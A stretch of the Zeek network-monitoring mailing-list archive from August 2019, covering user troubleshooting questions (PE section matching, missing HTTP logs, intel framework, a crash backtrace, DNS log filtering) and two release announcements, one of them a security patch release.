Date: Wed, 7 Aug 2019 13:14:51 -0400
Subject: [Zeek] PE import table
Message-ID: <CALgfRGLR7=UW9zidSginmPjeoe-g9KipwKJ8uuvucRpzNv9jkw@mail.gmail.com>

I'd like to generate an alert for Go binaries for Windows platforms.  Looks
like there's a .symtab section and I'd like to pattern match in that
section.  I'd like to do something like below.

event pe_section_header(f: fa_file, h: PE::SectionHeader)
if  ( /symtab/ in h$name )
  if ( /Go build ID/ in h$data )   #h$data not available yet?
         Raise notice.

Has anyone done anything like this yet?
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190807/8a82a693/attachment.html 

From jburgess03 at qub.ac.uk  Thu Aug  8 12:42:10 2019
From: jburgess03 at qub.ac.uk (Jonah Burgess)
Date: Thu, 8 Aug 2019 19:42:10 +0000
Subject: [Zeek] Sometimes HTTP.log fails to generate from PCAP file
Message-ID: <AM6PR07MB53035CFE859C48C39E04D9FD8ED70@AM6PR07MB5303.eurprd07.prod.outlook.com>

Hi Everyone,

This is my first time using this mailing list so I apologise in advance if I?ve followed the wrong format/protocol etc.

I am doing some malware research and making use of the HTTP.log generated by Bro. I?ve noticed some PCAPs fail to generate a HTTP log. I?ve looked at a couple of examples and thought maybe it is because there is no SYN-ACK before the HTTP connection in the PCAP (the researcher who generated the PCAP may have cut this out or not captured it).

Can anybody confirm why the HTTP.log fails to generate (is it the missing SYN-ACK at the start?) and advise if there is some way I can still extract the HTTP traffic from the PCAP using Bro (since it?s clearly all visible in Wireshark).

Note: I?m unable to attach screenshots of any of the problematic PCAPs due to email size..

Thanks in advance,
Jonah (@_CryptoCat)

-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190808/008b345c/attachment.html 

From jsiwek at corelight.com  Thu Aug  8 13:18:10 2019
From: jsiwek at corelight.com (Jon Siwek)
Date: Thu, 8 Aug 2019 13:18:10 -0700
Subject: [Zeek] Sometimes HTTP.log fails to generate from PCAP file
In-Reply-To: <AM6PR07MB53035CFE859C48C39E04D9FD8ED70@AM6PR07MB5303.eurprd07.prod.outlook.com>
References: <AM6PR07MB53035CFE859C48C39E04D9FD8ED70@AM6PR07MB5303.eurprd07.prod.outlook.com>
Message-ID: <CAMzgZ0Kiq0V-AMStsVAv6xBt5Kwq-5M9+ECLEeOHBbS_3SQyiA@mail.gmail.com>

On Thu, Aug 8, 2019 at 12:44 PM Jonah Burgess <jburgess03 at qub.ac.uk> wrote:

> Can anybody confirm why the HTTP.log fails to generate (is it the missing SYN-ACK at the start?)

Yes, that's likely the reason -- the HTTP parser (or any parser
really) don't make an attempt to (re)synchronize with the HTTP
protocol in the case we may be starting somewhere in the middle of the
TCP stream.

> and advise if there is some way I can still extract the HTTP traffic from the PCAP using Bro (since it?s clearly all visible in Wireshark).

Not out of the box, but attached is a patch that removes the checks
which currently cause the HTTP analysis to be skipped for such
connections. If all that's missing is the TCP handshake, then the
http.log produced with the patched version I think will be the same or
similar enough to if the handshake were there.  If there's more
packets missing than that, it will likely still fail to parse out much
HTTP data.

- Jon
-------------- next part --------------
A non-text attachment was scrubbed...
Name: http-partial.patch
Type: application/octet-stream
Size: 717 bytes
Desc: not available
Url : http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190808/7d2841d7/attachment.obj 

From pcain at coopercain.com  Thu Aug  8 14:25:13 2019
From: pcain at coopercain.com (Patrick Cain)
Date: Thu, 8 Aug 2019 17:25:13 -0400
Subject: [Zeek] Threat Intel Framework not generating intel.log
In-Reply-To: <33DE121F508A764CACDAE12A74A56CD04CD5AD@EXCMCCMB1.iso-ne.com>
References: <33DE121F508A764CACDAE12A74A56CD04CD5AD@EXCMCCMB1.iso-ne.com>
Message-ID: <122601d54e2f$c48c0dc0$4da42940$@coopercain.com>

Hi,

 

You may already have done this stuff, but from my adventures with the intel
framework.

The reporter.log and the stderr.log spit out error messages when the intel
framework loads/changes/etc. If you're sure that you're loading all three
intel scripts, then there may be useful data in those log files. The intel
files only get generated when there is an intel 'hit', so if you loaded
intel files with IOCs that you may never see, you'll never see an intel.log
file. I normally ingest a "bad_things.intel" file that I manually add
non-bad things to just to make sure the intel framework is still
functioning, Like my corporate server address or security friends blackhole
servers. When i'm worried that the intel framework may be confused, I just
visit whatever is in the bad_things file and - viola - I get an intel.log
entry.

 

Note that the intel files have an exact syntax. I've been burned by 'vi'
changing the first tab in the 'fields' line to a space and the intel file
never loads. I'm pretty good at decoding 'od -c *.intel' output now. :(

 

Pat

 

From: zeek-bounces at zeek.org <zeek-bounces at zeek.org> On Behalf Of Richter,
Cody
Sent: Thursday, August 01, 2019 3:17 PM
To: zeek at zeek.org
Subject: [Zeek] Threat Intel Framework not generating intel.log

 

Hello there,

 

I have spent hours attempting to get the threat intel framework running on
Zeek, but still am having no luck. Despite following the tutorials to a T,
there is no intel.log generated with the rest of the log files. Running the
scripts against a generated pcap will create the intel.log file, but nothing
is being made in the logs folder as normal traffic passes through. All other
logs are generating, and I can't seem to find any issues.

 

Thank you,

Cody

-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190808/6f8e63c2/attachment.html 

From pcain at coopercain.com  Thu Aug  8 14:25:13 2019
From: pcain at coopercain.com (Patrick Cain)
Date: Thu, 8 Aug 2019 17:25:13 -0400
Subject: [Zeek] How large can the Intel file .dat be?
In-Reply-To: <bc5281bb7e644cfea5669c5aaa01712c@de.ey.com>
References: <bc5281bb7e644cfea5669c5aaa01712c@de.ey.com>
Message-ID: <123e01d54e2f$c5d137f0$5173a7d0$@coopercain.com>

Hi,

 

I don?t use try.bro.org but in real-life, my intel files have about 10,000
entries.  They used to be much bigger but some of that intel wasn?t good
enough to keep using. :( The files reload every hour. I?ve seen no
performance hit based on their size but I do have big physical servers only
handling about 5-6 GB/sec.

 

Pat

From: zeek-bounces at zeek.org <zeek-bounces at zeek.org> On Behalf Of Jens Rembe
Sent: Monday, August 05, 2019 5:31 AM
To: zeek at zeek.org
Subject: [Zeek] How large can the Intel file .dat be?

 

Hello Zeek Community,

 

I am doing some researches to Zeek. 

Maybe one of you can help me with that question. How large can the intel
file (intel-1.dat from try.zeek.org) can be? 

I?m asking that question because if you fill that file with tons of
IP?s/domains , there should be some performance issues with the large
incoming IP?S and matching these to the list.

I hope somebody can help me.

 

Thank you for your time and I am looking forward to hearing from you

 

Best Regards,

Jens

 

 

Mit freundlichen Gr??en,
Best Regards,
Jens Rembe

***Privileged & Confidential?Attorney-Client Communication?Prepared at the
Request of Counsel, Vertrauliche Verteidigerkorrespondenz.***

 

-- 

Find us on:  <https://www.facebook.com/pages/Ernst-Young/195665063800329>
Facebook |  <http://www.linkedin.com/company/1073> LinkedIn |
<http://twitter.com/EYnews> Twitter |
<http://www.youtube.com/ernstandyoungglobal> YouTube 




Jens Rembe | Staff/Assistant | Assurance | Forensic & Integrity Services |
Forensic Technologies 

 

Ernst & Young GmbH Wirtschaftspr?fungsgesellschaft

Mergenthalerallee 3-5, 65760, Eschborn/Frankfurt am Main, Germany 

Office: +49 (6196) 996 11543 | Mobile: +49 (6196) 939 11543 |
<mailto:jens.rembe at de.ey.com> jens.rembe at de.ey.com 

Website:  <http://www.ey.com> http://www.ey.com

 

______________________________________________________ 

Ernst & Young GmbH 
Wirtschaftspr?fungsgesellschaft 

Unabh?ngiges Mitglied von Ernst & Young Global Limited
Aufsichtsratsvorsitzender: WP/StB Georg Graf Waldersee - Gesch?ftsf?hrung:
WP/StB Hubert Barth, Vorsitzender 
CPA Julie Linn Teigland - WP/StB Alexander Kron - WP/StB Mathieu Meyer 
WP/StB Claus-Peter Wagner - WP/StB Prof. Dr. Peter Wollmert - RA/StB Dr.
Henrik Ahlers - Constantin M. Gall 
Sitz der Gesellschaft: Stuttgart - Rechtsform: GmbH - Amtsgericht Stuttgart
HRB 730277 - VAT: DE 147799609


Capital Insights - the latest thinking from Ernst & Young on your Capital
Agenda: investing through M&A transactions; raising funds; and optimizing
finances. Visit www.capitalinsights.info <http://www.capitalinsights.info>  

This e-mail communication (and any attachment/s) is confidential and
intended only for the individual(s) or entity named above and to others who
have been specifically authorized to receive it. If you are not the intended
recipient, please do not read, copy, use or disclose the contents of this
communication to others. Please notify the sender that you have received
this e-mail in error, by calling the phone number indicated or by e-mail,
and delete the e-mail (including any attachment/s) subsequently. This
information may be subject to professional secrecy (e. g. of auditor, tax or
legal advisor), other privilege or otherwise be protected by work product
immunity or other legal rules. Thank you. 

Data privacy notice: The Ernst & Young GmbH Wirtschaftspr?fungsgesellschaft
protects your personal data. Please find more information about how we
process your personal data in our privacy notice:
www.de.ey.com/datenschutz-EYGmbH <http://www.de.ey.com/datenschutz-EYGmbH> .
Furthermore the Ernst & Young Member Firms share an international system for
the maintenance and administration of your personal contact details in order
to be able to send you up-to-date information and invitations tailored to
you and your needs. If you do not wish to make use of this service offered
by Ernst & Young, please send a mail to EY.CRM at EY.COM <mailto:EY.CRM at EY.COM>


-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190808/2c1c5974/attachment-0001.html 
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: image/gif
Size: 4133 bytes
Desc: not available
Url : http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190808/2c1c5974/attachment-0001.gif 

From WPKM at msn.com  Thu Aug  8 14:29:22 2019
From: WPKM at msn.com (Keith M)
Date: Thu, 8 Aug 2019 21:29:22 +0000
Subject: [Zeek] Zeek crashed
Message-ID: <DM5PR03MB324308AD2D24451BEA5BF820C4D70@DM5PR03MB3243.namprd03.prod.outlook.com>

I'm new to Zeek. I noticed my Zeek is crashing every few days. I have the below bt

Core was generated by `/opt/bro/bin/bro -U .status -p broctl -p broctl-live -p local -p logger local.b'.
Program terminated with signal 11, Segmentation fault.
#0  0x0000000000894795 in logging::Manager::CheckFilterWriterConflict(logging::Manager::WriterInfo const*, logging::Manager::Filter const*) ()
(gdb) bt
#0  0x0000000000894795 in logging::Manager::CheckFilterWriterConflict(logging::Manager::WriterInfo const*, logging::Manager::Filter const*) ()
#1  0x000000000089999f in logging::Manager::Write(EnumVal*, RecordVal*) ()
#2  0x00000000005d5436 in BifFunc::Log::bro___write(Frame*, ValPList*) ()
#3  0x00000000005e502f in BuiltinFunc::Call(ValPList*, Frame*) const ()
#4  0x00000000005c7f46 in CallExpr::Eval(Frame*) const ()
#5  0x0000000000639351 in StmtList::Exec(Frame*, stmt_flow_type&) const ()
#6  0x00000000005f1294 in BroFunc::Call(ValPList*, Frame*) const ()
#7  0x00000000005c7f46 in CallExpr::Eval(Frame*) const ()
#8  0x000000000063aee4 in ExprStmt::Exec(Frame*, stmt_flow_type&) const ()
#9  0x0000000000639351 in StmtList::Exec(Frame*, stmt_flow_type&) const ()
#10 0x00000000005f1294 in BroFunc::Call(ValPList*, Frame*) const ()
#11 0x00000000005ade1a in EventHandler::Call(ValPList*, bool) ()
#12 0x00000000005ad106 in EventMgr::Drain() ()
#13 0x0000000000601b49 in net_run() ()
#14 0x000000000055e4a3 in main ()

I'm not sure what do make out of it. Everything was stable until two things changed. I went from stand alone to clustermode on the one server as I brought in another interface for a different set of networks. So now there are two network interfaces receiving packets in a cluster on one physical server. Any troubleshooting steps appreciated.

thanks
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190808/41869792/attachment.html 

From justin at corelight.com  Thu Aug  8 16:30:20 2019
From: justin at corelight.com (Justin Azoff)
Date: Thu, 8 Aug 2019 19:30:20 -0400
Subject: [Zeek] Zeek crashed
In-Reply-To: <DM5PR03MB324308AD2D24451BEA5BF820C4D70@DM5PR03MB3243.namprd03.prod.outlook.com>
References: <DM5PR03MB324308AD2D24451BEA5BF820C4D70@DM5PR03MB3243.namprd03.prod.outlook.com>
Message-ID: <CAPfnCuhCFkfYGiL3W=YwGczXkp=TsUaYcW8SPxzE9uhO0cBc=g@mail.gmail.com>

Hi,

The first thing I would do is use gdb to see what script is being executed
there.  Specifically if it is one of the stock scripts or perhaps a custom
one you have installed.  This is sort of described on
https://www.zeek.org/support/reporting-problems.html but from that gdb
session if you paste

up
print this->location->filename
print this->location->first_line

a few times it should start giving your filenames and line numbers.

Are you loading any scripts that call Log::add_filter or other Log::
functions?  A crash inside CheckFilterWriterConflict likely points to
something odd being done with log filters.

On Thu, Aug 8, 2019 at 5:47 PM Keith M <WPKM at msn.com> wrote:

> I'm new to Zeek. I noticed my Zeek is crashing every few days. I have the
> below bt
>
> Core was generated by `/opt/bro/bin/bro -U .status -p broctl -p
> broctl-live -p local -p logger local.b'.
> Program terminated with signal 11, Segmentation fault.
> #0  0x0000000000894795 in
> logging::Manager::CheckFilterWriterConflict(logging::Manager::WriterInfo
> const*, logging::Manager::Filter const*) ()
> (gdb) bt
> #0  0x0000000000894795 in
> logging::Manager::CheckFilterWriterConflict(logging::Manager::WriterInfo
> const*, logging::Manager::Filter const*) ()
> #1  0x000000000089999f in logging::Manager::Write(EnumVal*, RecordVal*) ()
> #2  0x00000000005d5436 in BifFunc::Log::bro___write(Frame*, ValPList*) ()
> #3  0x00000000005e502f in BuiltinFunc::Call(ValPList*, Frame*) const ()
> #4  0x00000000005c7f46 in CallExpr::Eval(Frame*) const ()
> #5  0x0000000000639351 in StmtList::Exec(Frame*, stmt_flow_type&) const ()
> #6  0x00000000005f1294 in BroFunc::Call(ValPList*, Frame*) const ()
> #7  0x00000000005c7f46 in CallExpr::Eval(Frame*) const ()
> #8  0x000000000063aee4 in ExprStmt::Exec(Frame*, stmt_flow_type&) const ()
> #9  0x0000000000639351 in StmtList::Exec(Frame*, stmt_flow_type&) const ()
> #10 0x00000000005f1294 in BroFunc::Call(ValPList*, Frame*) const ()
> #11 0x00000000005ade1a in EventHandler::Call(ValPList*, bool) ()
> #12 0x00000000005ad106 in EventMgr::Drain() ()
> #13 0x0000000000601b49 in net_run() ()
> #14 0x000000000055e4a3 in main ()
>
> I'm not sure what do make out of it. Everything was stable until two
> things changed. I went from stand alone to clustermode on the one server as
> I brought in another interface for a different set of networks. So now
> there are two network interfaces receiving packets in a cluster on one
> physical server. Any troubleshooting steps appreciated.
>
> thanks
> _______________________________________________
> Zeek mailing list
> zeek at zeek.org
> http://mailman.ICSI.Berkeley.EDU/mailman/listinfo/zeek



-- 
Justin
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190808/66cf0926/attachment.html 

From jsiwek at corelight.com  Thu Aug  8 18:42:37 2019
From: jsiwek at corelight.com (Jon Siwek)
Date: Thu, 8 Aug 2019 18:42:37 -0700
Subject: [Zeek] Bro 2.6.3 release (security update)
Message-ID: <CAMzgZ0LOwk_zatKSHcti7omHAZnf3RQvwHO+u7pwGpPc8_LG5w@mail.gmail.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

A security patch release, Bro v2.6.3, is now available for
download:

  https://www.zeek.org/downloads/bro-2.6.3.tar.gz
  https://www.zeek.org/downloads/bro-2.6.3.tar.gz.asc

Bro v2.6.3 addresses the following Denial of Service
vulnerabilities:

* Null pointer dereference in the RPC analysis code. RPC
  analyzers (e.g. MOUNT or NFS) are not enabled in the default
  configuration.

* Signed integer overflow in BinPAC-generated parser code.  The
  result of this is Undefined Behavior with respect to the array
  bounds checking conditions that BinPAC generates, so it's
  unpredictable what an optimizing compiler may actually do
  under the assumption that signed integer overlows should never
  happen.  The specific symptom which lead to finding this issue
  was with the PE analyzer causing out-of-memory crashes due to
  large allocations that were otherwise prevented when the array
  bounds checking logic was changed to prevent any possible
  signed integer overlow.

-----BEGIN PGP SIGNATURE-----

iQIzBAEBAgAdFiEE6WkLK32KwaGfkhxKxotJTfVqzH4FAl1MpNQACgkQxotJTfVq
zH6psg/9FZq5HVhRNymHzB1VHXlf1ELDW/lKC26ekl17Ri25Ec0YPm2U7xP1R/D+
XzLGcF5Wh74gB8IgbePHPq4RynVYYOyeRboN2yjrCCZvUBQcVn32wDOWo2QJer/0
kro+EDDaxWNUPhhM3xD09UYscWJ7SlyHfQciMnn9FWkccYOUqciIydiIcAdQ6Ako
uoG3pGh9BDfFQVMbYpC0pQPFNU6LAzyUOMq0I7cKKKxT+GRj5GuHVOnWfSqdulUA
w05Dk7isxeea7slR+g6FgCrBX/xqdMhnoJPNuKnMZ7+aKlg1a/MOB45tmeqm/OTs
jOg6+BB0W3rOc8McZf6ksnOFj/1CK7Nhf9ccFNgqXGTjOYRfcFEw9L9QbJyPcRDW
6fDIaXWLQx4NTgf74EIR/k4uZ4iLWKSahq1V9w0qPbQQXIvZEf5a9E4bCJHbhA5K
5WngU0NGZiKQACNGf0Ja0y470/V/u6EDFDge4lgIKsef7bysuOhNpRNPHTx8bMrM
dPOSvLoWabirdGCYXD50egJujFl1bgVUfJ0f61C23fobefm/M0X9goNTtIbnDYuX
WAeaEk7snMWwZman4PyEMk1pTulW3yt8rhXCNJxpchwqZYiF69wM8o41gbBD/sly
ECL8vEHK1hiShTuZcjn9VW/pRkGq4YyXjon19bnCREgJNiGZhtY=
=jf49
-----END PGP SIGNATURE-----

From jsiwek at corelight.com  Thu Aug  8 18:43:51 2019
From: jsiwek at corelight.com (Jon Siwek)
Date: Thu, 8 Aug 2019 18:43:51 -0700
Subject: [Zeek] Zeek 3.0.0 RC1 available
Message-ID: <CAMzgZ0L+Gv3Wm55kpow-qHpD=USWDv4AnfNUY-af679xTLjEAw@mail.gmail.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

A Release Candidate for Zeek 3.0.0 is now available for
testing:

  https://www.zeek.org/downloads/zeek-3.0.0-rc1.tar.gz
  https://www.zeek.org/downloads/zeek-3.0.0-rc1.tar.gz.asc

This major release will have many additions and changes, the
most prominent being a comprehensive adaptation to use Zeek
instead of Bro.  See the NEWS file for the full list of
important differences to be aware of when upgrading and testing.
Our blog also describes the upcoming release and potential
issues when upgrading:

  https://blog.zeek.org

Please report bugs at our GitHub project:

  https://github.com/zeek/zeek/issues

Or feel free to give feedback directly on the Zeek mailing list.

-----BEGIN PGP SIGNATURE-----

iQIzBAEBAgAdFiEE6WkLK32KwaGfkhxKxotJTfVqzH4FAl1MtgAACgkQxotJTfVq
zH5PwQ//UfT3kqp6kXy+XG0f3mhHNinKWK857ihkhnYB4MR66EKERJCe+1GKiEJV
9fK8eCXNKGsf5SPB2FRwxtdsv8QFmIecuv5VHGtZNGOYY4Jqe7gHXy+6/dCicqK+
R9FaVzp4C/EMP5E/4UOygFLvr4dehK/tuLUgVmDqDh7LbtCPZdabNo8oamIzEi7p
pymLCJyQP2u4KFmOV5GYufJl5AZ9/Lv96FmhqOb0mdFcSKgI6PMZPVl5tyA8+rb8
o9P1EU5Gxinc2ys2VH+w8XUErVSR9eMvHopd13Na0OZQt1D8A0X3R+cEKGwsP7di
/vZJ1qz2hDYho+zhiKqle0bCsWk5k8D8uHAi19wxPLSQcbikAcjH4CRWLfoJbJfE
wMSvd+7TQYE8YMOwtgTzBa0phrgq43+DD4vQYYxc1GbJCSa3dTkyQ8JW1+CuhmbS
/9yZz5aQvXadBRply77cnZtoIC+4cIwqk51Bzd5lpBsRuaeQVArUJmSvsHx7EP1x
PTiS9TsyzyrmzAU4Dbtqzr9oW3XT9VkUhziExT0g5tt9tsRDE0tY47p3z05rsJpH
jer3vTLJs/eMg8bAmUJjn9VXtZjp1vNiTBQSvuewF6KeTduWRuM7eR4FrijlYrpA
5w9zGVPiTbyP/HoOL1APMHBWTsJikHta7zl751gBFotu8naPvL8=
=XsHc
-----END PGP SIGNATURE-----

From WPKM at msn.com  Fri Aug  9 05:35:40 2019
From: WPKM at msn.com (Keith M)
Date: Fri, 9 Aug 2019 12:35:40 +0000
Subject: [Zeek] Zeek crashed
In-Reply-To: <CAPfnCuhCFkfYGiL3W=YwGczXkp=TsUaYcW8SPxzE9uhO0cBc=g@mail.gmail.com>
References: <DM5PR03MB324308AD2D24451BEA5BF820C4D70@DM5PR03MB3243.namprd03.prod.outlook.com>,
	<CAPfnCuhCFkfYGiL3W=YwGczXkp=TsUaYcW8SPxzE9uhO0cBc=g@mail.gmail.com>
Message-ID: <DM5PR03MB3243A107FF9AFF47146C4E39C4D60@DM5PR03MB3243.namprd03.prod.outlook.com>

Hi Justin ,

I only use zeek for parsing of the packets into logs. The logging directory is monitored by a Splunk UF that sends the logs to Splunk. Is there a way to disable any scripts and all IDS scripts and filters but still get the zeek logs to parse correctly. My configuration is all default. I never touched any scripts except to reduce timeouts on DNS waiting for a response.

Thanks
Keith

Sent from my iPhone

On Aug 8, 2019, at 7:30 PM, Justin Azoff <justin at corelight.com<mailto:justin at corelight.com>> wrote:

Hi,

The first thing I would do is use gdb to see what script is being executed there.  Specifically if it is one of the stock scripts or perhaps a custom one you have installed.  This is sort of described on https://www.zeek.org/support/reporting-problems.html but from that gdb session if you paste

up
print this->location->filename
print this->location->first_line


a few times it should start giving your filenames and line numbers.

Are you loading any scripts that call Log::add_filter or other Log:: functions?  A crash inside CheckFilterWriterConflict likely points to something odd being done with log filters.

On Thu, Aug 8, 2019 at 5:47 PM Keith M <WPKM at msn.com<mailto:WPKM at msn.com>> wrote:
I'm new to Zeek. I noticed my Zeek is crashing every few days. I have the below bt

Core was generated by `/opt/bro/bin/bro -U .status -p broctl -p broctl-live -p local -p logger local.b'.
Program terminated with signal 11, Segmentation fault.
#0  0x0000000000894795 in logging::Manager::CheckFilterWriterConflict(logging::Manager::WriterInfo const*, logging::Manager::Filter const*) ()
(gdb) bt
#0  0x0000000000894795 in logging::Manager::CheckFilterWriterConflict(logging::Manager::WriterInfo const*, logging::Manager::Filter const*) ()
#1  0x000000000089999f in logging::Manager::Write(EnumVal*, RecordVal*) ()
#2  0x00000000005d5436 in BifFunc::Log::bro___write(Frame*, ValPList*) ()
#3  0x00000000005e502f in BuiltinFunc::Call(ValPList*, Frame*) const ()
#4  0x00000000005c7f46 in CallExpr::Eval(Frame*) const ()
#5  0x0000000000639351 in StmtList::Exec(Frame*, stmt_flow_type&) const ()
#6  0x00000000005f1294 in BroFunc::Call(ValPList*, Frame*) const ()
#7  0x00000000005c7f46 in CallExpr::Eval(Frame*) const ()
#8  0x000000000063aee4 in ExprStmt::Exec(Frame*, stmt_flow_type&) const ()
#9  0x0000000000639351 in StmtList::Exec(Frame*, stmt_flow_type&) const ()
#10 0x00000000005f1294 in BroFunc::Call(ValPList*, Frame*) const ()
#11 0x00000000005ade1a in EventHandler::Call(ValPList*, bool) ()
#12 0x00000000005ad106 in EventMgr::Drain() ()
#13 0x0000000000601b49 in net_run() ()
#14 0x000000000055e4a3 in main ()

I'm not sure what do make out of it. Everything was stable until two things changed. I went from stand alone to clustermode on the one server as I brought in another interface for a different set of networks. So now there are two network interfaces receiving packets in a cluster on one physical server. Any troubleshooting steps appreciated.

thanks
_______________________________________________
Zeek mailing list
zeek at zeek.org<mailto:zeek at zeek.org>
http://mailman.ICSI.Berkeley.EDU/mailman/listinfo/zeek


--
Justin
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190809/63bd7cd2/attachment.html 

From pssunu6 at gmail.com  Fri Aug  9 05:46:11 2019
From: pssunu6 at gmail.com (ps sunu)
Date: Fri, 9 Aug 2019 18:16:11 +0530
Subject: [Zeek] port knocking bro script
Message-ID: <CALGAZaABd0u7E_2pWJdmug7Tra+Un=_Ztg7Hut3tgsbz0_yd2Q@mail.gmail.com>

hi,
 any port knocking bro script  available ?
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190809/ad3d0b17/attachment.html 

From jokvedaras at gmail.com  Fri Aug  9 06:38:48 2019
From: jokvedaras at gmail.com (Joseph Kvedaras)
Date: Fri, 9 Aug 2019 09:38:48 -0400
Subject: [Zeek] Running Script in a Cluster
Message-ID: <CACa2K5p9abhBNQYN4g+bgyN_m0ACXu6jwbg=sSc8r25Uc2H0OA@mail.gmail.com>

Hey,

I'm working with Zeek scripts and I am running in an issue getting my
script to execute when zeek is running as a cluster.  The script executes
when I start zeek w/ a pcap file.  The script executes when I start zeek on
the command line, bind to the interface, and playback that pcap.  The
script does not execute when I start zeek as cluster and playback the pcap
file.  Other scripts, like 'extract-all-files.bro'  run all 3 ways but in
the cluster, will not write my added print outs to the stdout file in
cluster mode.  I have also confirmed that my scripts are being loaded by
the logging module when I run "zeekctl diag".  I feel like I'm missing
something.  Does anyone know what it is?

Thanks
--
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190809/844f0c88/attachment.html 

From jokvedaras at gmail.com  Fri Aug  9 07:32:33 2019
From: jokvedaras at gmail.com (Joseph Kvedaras)
Date: Fri, 9 Aug 2019 10:32:33 -0400
Subject: [Zeek] Running Script in a Cluster
In-Reply-To: <CACa2K5p9abhBNQYN4g+bgyN_m0ACXu6jwbg=sSc8r25Uc2H0OA@mail.gmail.com>
References: <CACa2K5p9abhBNQYN4g+bgyN_m0ACXu6jwbg=sSc8r25Uc2H0OA@mail.gmail.com>
Message-ID: <CACa2K5opKMb4uD9n+WNZov52yO12N+aRrVOGngCqg3_xqh45bw@mail.gmail.com>

Figured it out... Permissions issue on the file.  The combined stderr.log
was not populated but I now see the error when running 'zeekctl diag' and
looking under the stderr.log for the sensor.

-- 



On Fri, Aug 9, 2019 at 9:38 AM Joseph Kvedaras <jokvedaras at gmail.com> wrote:

> Hey,
>
> I'm working with Zeek scripts and I am running in an issue getting my
> script to execute when zeek is running as a cluster.  The script executes
> when I start zeek w/ a pcap file.  The script executes when I start zeek on
> the command line, bind to the interface, and playback that pcap.  The
> script does not execute when I start zeek as cluster and playback the pcap
> file.  Other scripts, like 'extract-all-files.bro'  run all 3 ways but in
> the cluster, will not write my added print outs to the stdout file in
> cluster mode.  I have also confirmed that my scripts are being loaded by
> the logging module when I run "zeekctl diag".  I feel like I'm missing
> something.  Does anyone know what it is?
>
> Thanks
> --
>
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190809/fe9bf302/attachment-0001.html 

From charles.fair at mac.com  Sat Aug 10 09:07:30 2019
From: charles.fair at mac.com (Charles A Fair)
Date: Sat, 10 Aug 2019 11:07:30 -0500
Subject: [Zeek] Sometimes HTTP.log fails to generate from PCAP file
In-Reply-To: <AM6PR07MB53035CFE859C48C39E04D9FD8ED70@AM6PR07MB5303.eurprd07.prod.outlook.com>
References: <AM6PR07MB53035CFE859C48C39E04D9FD8ED70@AM6PR07MB5303.eurprd07.prod.outlook.com>
Message-ID: <68B8854B-55BC-4752-BEF7-370464904C61@mac.com>

Try this on your pcap file to see all analyzed events:

Bro Dump Events policy script:

bro -C -r file.pcap policy/misc/dump-events.bro

I would also expect if your trace is a partial capture that Bro will create a weird log entry with a description of what?s going on.

Charles ?Chuck? A. Fair
chuck.fair at perched.io



Chuck 
> On Aug 8, 2019, at 2:42 PM, Jonah Burgess <jburgess03 at qub.ac.uk> wrote:
> 
> Hi Everyone,
>  
> This is my first time using this mailing list so I apologise in advance if I?ve followed the wrong format/protocol etc.
>  
> I am doing some malware research and making use of the HTTP.log generated by Bro. I?ve noticed some PCAPs fail to generate a HTTP log. I?ve looked at a couple of examples and thought maybe it is because there is no SYN-ACK before the HTTP connection in the PCAP (the researcher who generated the PCAP may have cut this out or not captured it).
>  
> Can anybody confirm why the HTTP.log fails to generate (is it the missing SYN-ACK at the start?) and advise if there is some way I can still extract the HTTP traffic from the PCAP using Bro (since it?s clearly all visible in Wireshark).
>  
> Note: I?m unable to attach screenshots of any of the problematic PCAPs due to email size..
>  
> Thanks in advance,
> Jonah (@_CryptoCat)
>  
> _______________________________________________
> Zeek mailing list
> zeek at zeek.org
> http://mailman.ICSI.Berkeley.EDU/mailman/listinfo/zeek
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190810/03ee49d3/attachment.html 

From j.blakey at rheagroup.com  Mon Aug 12 10:37:15 2019
From: j.blakey at rheagroup.com (Jason Blakey)
Date: Mon, 12 Aug 2019 17:37:15 +0000
Subject: [Zeek] Not recording SOME dns lookups...
Message-ID: <DB6P18901MB00699101A9976013E93164F388D30@DB6P18901MB0069.EURP189.PROD.OUTLOOK.COM>

Hi all,

 I've got a site that i'm running BRO on that is generating TONS of DNS events.  About 50% of all log file bytes are DNS related.  And most of it is repeated lookup of a single a single domain name.

 Is there any way (maybe using restrict_filters, maybe something else) to NOT log these DNS events for this specific hostname?  I've done some poking around on google, but nothing's jumping out at me.

Thanks,
jason


<https://www.linkedin.com/company/rheagroup>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190812/cf3e81b1/attachment.html 

From justin at corelight.com  Mon Aug 12 11:15:35 2019
From: justin at corelight.com (Justin Azoff)
Date: Mon, 12 Aug 2019 14:15:35 -0400
Subject: [Zeek] Not recording SOME dns lookups...
In-Reply-To: <DB6P18901MB00699101A9976013E93164F388D30@DB6P18901MB0069.EURP189.PROD.OUTLOOK.COM>
References: <DB6P18901MB00699101A9976013E93164F388D30@DB6P18901MB0069.EURP189.PROD.OUTLOOK.COM>
Message-ID: <CAPfnCuhzy6BV=-QhJha5DFR9peggXxFJdKjyPxbkaRyPFAoi8A@mail.gmail.com>

